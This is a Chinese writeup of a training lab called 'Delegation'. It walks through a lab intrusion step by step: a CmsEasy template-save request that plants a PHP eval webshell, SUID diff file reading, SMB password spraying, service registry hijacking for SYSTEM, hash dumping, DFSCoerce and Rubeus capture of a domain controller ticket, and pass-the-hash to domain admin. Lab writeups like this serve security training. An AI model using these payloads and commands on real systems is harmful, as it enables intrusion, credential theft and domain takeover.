春秋云镜 Delegation writeup

春秋云镜 Delegation writeup

继续复现

flag01

fscan扫ip,没啥东西,就是个网页

是个cmseasy,源代码可以发现CmsEasy 7_7_5_20210919_UTF8

搜索可以发现漏洞,但和大佬们找到的文章好像不是一种打法啊

算了,直接抄payload吧

POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 39.101.173.163
Content-Length: 77
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: PHPSESSID=os9kli93e59pjclq4361kaairm; loginfalse74c6352c5a281ec5947783b8a186e225=1; login_username=admin; login_password=a14cdfc627cef32c707a7988e70c1313

sid=#data_d_.._d_.._d_.._d_2.php&slen=693&scontent=<?=eval($_POST["1"]);?>

然后访问2.php

蚁剑连接

找到flag但没有权限,看suid

find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/stapbpf
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/staprun
/usr/bin/diff
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device

diff提权可以文件读取

image-20241202192502393

flag02

给了用户名,并且提示rockyou爆破密码

python cme smb -u "Adrian" -p rockyou.txt -d WIN19 172.22.4.45

image-20241202192555632

额,跑的好慢,直接拿结果

image-20241202192730401

之前都可以用smbpasswd改密码的,不知道为什么报错了

image-20241202192857105

使用rdesktop手动改密码

改完后,改用win的rdp登录

桌上有文件(老是忘记截图

image-20230809161551552

image-20230809161801709

可以修改注册表的gupdate

直接修改 ImagePath, 然后手动启动服务以 SYSTEM 权限上线

生成正向shell

image-20241202193145176

msf开启攻击,开启gupdate服务监听

sc start gupdate

注意这个shell是有时间限制的,比如他只有30秒的时间限制,过了这个时间进程也没了

所以要迁移到另一个进程中

ps找到另一个进程,然后migrate PID过去

image-20241202193830955

image-20241202193853243

flag03

creds_all抓一下hash

Username  Domain    NTLM                              SHA1
--------  ------    ----                              ----
Adrian    WIN19     baef402f3580fe1c75dfceaef4ae419f  4b064a5f3ccfba5e8b729b2508f14b053b1bb4ca
WIN19$    XIAORANG  5943c35371c96f19bda7b8e67d041727  5a4dc280e89974fdec8cf1b2b76399d26f39b8f8
WIN19$    XIAORANG  f7e2f048e09f1602cc0af0096a1cb484  9d602c40d307bfc3ec0329147ba5a951884b92f8

然后查一下域委派关系

python findDelegation.py xiaorang.lab/"WIN19$" -hashes :f7e2f048e09f1602cc0af0096a1cb484 -dc-ip 172.22.4.7

上面出现两个WIN19$,我用了后面那个hash才成功

image-20241202194304708

WIN19$有非约束委派

结合 SpoolSample, PetitPotam 或者其它 XXCoerce 就能够拿到指定机器账户的 TGT

我使用dfscoerce

先上传Rubeus进行监听

Rubeus.exe monitor /interval:1 /filteruser:DC01$

然后dfscoerce.py让DC强制访问

python dfscoerce.py -u "WIN19$" -hashes :f7e2f048e09f1602cc0af0096a1cb484 -d xiaorang.lab WIN19 172.22.4.7

image-20241202194842247

image-20241202194848045

抓到base64 ticket

继续用Rubeus进行pass the hash

Rubeus.exe ptt /ticket:doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggS........................

然后就可以传mimikatz导出域管hash (欸,能不能回到meterpreter使用kiwi_cmd啊?

image-20241202195122636

python psexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/administrator@172.22.4.19 -dc-ip 172.22.4.7

image-20241202195144139

flag04

python psexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 xiaorang.lab/administrator@172.22.4.7

image-20241202195322296

送一张bloodhound信息收集,感觉FILESERVER到administrator@xiaorang.lab的HasSession应该是有用的。。

image-20241202200420489

finally

本期学习的是非约束委派

非约束委派攻击利用

用户 A 去访问服务B,服务 B 的服务账户开启了非约束委派,那么当用户 A 访问服务 B 的时候会将用户 A 的 TGT 发送给服务 B 并保存进内存,服务 B 能够利用用户 A 的身份去访问用户 A 能够访问的任意服务。

攻击手法类似于反弹shell,让攻击机进行监听,让受害机进行访问

然后拿到DC的ticket,就可以利用DC的身份去DCSync了


春秋云镜 Delegation writeup
https://zer0peach.github.io/2024/12/02/春秋云镜-Delegation-writeup/
作者
Zer0peach
发布于
2024年12月2日
许可协议